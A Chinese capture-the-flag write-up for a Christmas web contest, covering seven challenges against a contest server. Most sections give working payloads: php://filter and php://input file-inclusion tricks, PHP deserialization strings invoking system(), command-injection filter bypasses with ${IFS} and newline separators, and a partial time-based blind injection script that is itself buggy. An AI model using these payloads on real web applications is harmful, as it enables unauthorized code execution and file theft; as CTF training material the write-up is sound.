网络内生安全试验场-12月CTF圣诞赛Web
1. nani
http://120.55.43.255:24719/查看源码得以下内容,其URL提示文件包含
查看http://120.55.43.255:24719/index.php?file=show.php得
使用http://120.55.43.255:24719/index.php?file=php://filter/read=convert.base64-encode/resource=./user.php
使用base64解密
构造payload:
cmd=O:7:“convent”:2:{s:4:“warn”;s:14:“system(‘dir’);”;}
2. Xlmg
Stegsolve图片隐写查看器的使用手册:
在Analyse中:
File Format:文件格式
Data Extract:数据提取
Steregram Solve:立体试图 可以左右控制偏移
Frame Browser:帧浏览器
Image Combiner:拼图,图片拼接
其中data extract右边部分表示RGBA(Alpha是透明度)的颜色通道,而rgba是代表Red(红色)Green(绿色)Blue(蓝色)和Alpha的色彩空间。它们代表的实际上是亮度。右半部分就是Extra By(额外的)和Bit Order(位顺序)和Bit Plane Order(位平面的顺序)
3. random
出$key == a)既构造得?hello=1);print_r(file_(“./flag.php”));//&seed=2&key=1216699170
4.Admin
http://120.55.43.255:28119/
isset()函数:就是判断变量是否存在并且不为空,存在返回ture,不存在返回false。
file_get_contents() 函数:是用于将文件的内容读入到一个字符串中的首选方法。
include(user,‘r’)的内容变成admin就可以绕过file_get_contents,这里用的方法是使用php的封装协议—— php://input。php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。
绕过第一个,紧接着文件包含file=php://filter/convert.base64-encode/resource=class.php构造得到http://120.55.43.255:28119/?user=php://input&file=php://filter/convert.base64-encode/resource=class
解码
反序列pass=O:4:“Read”:1:{s:4:“file”;s:62:“php://filter/read=convert.base64-encode/resource=fffffflag.php”;}既?user=php://input&file=class.php&pass=O:4:“Read”:1:{s:4:“file”;s:62:“php://filter/read=convert.base64-encode/resource=fffffflag.php”;}后面一个文件包含加反序列。
解码
5.Post1
过滤了cat,空格。使用cut、$ {IFS }来代替
构造palyload:a=cut$ {IFS }-b1-$ {IFS }flag.txt
6.Ping
strcmp ():进行二进制安全字符串比较,用来判断password是否一致
include($_REQUEST[‘path’]):文件包含,传入的参数是path
使用password[]绕过
?path=php://filter//read=convert.base64-encode/resource=ping.php
解码
过滤了一些分隔符,可以使用%0a换行符符号–。
Cat ffffff1111aagggg.txt
7.Post2(半成)
使用代码
Import requests
Import string
dic = string.printable
flag = “”
for j in range(1,50):
for i in range(len(dic)):
url = http://120.55.43.255:22712/
date = {“cmd” : ‘’’[ ‘cut -c | ‘’’+str(j)+’’’ flag.txt‘ = “%c” ]}
try:
r = request.post(url,data=data,time=1)
except requests.exceptions.ReadTimeout,e:
flag += dic[i]
print flag
break